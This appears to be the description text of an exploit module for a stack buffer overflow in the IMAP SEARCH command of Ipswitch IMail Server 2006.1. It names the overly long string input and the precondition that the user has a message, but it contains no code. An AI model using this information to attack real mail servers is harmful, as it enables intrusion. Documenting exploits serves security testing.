        This module exploits a stack overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
        verb. By sending an overly long string, an attacker can overwrite the 
        buffer and control program execution.
        In order for this module to be successful, the IMAP user must have at least one
        message.
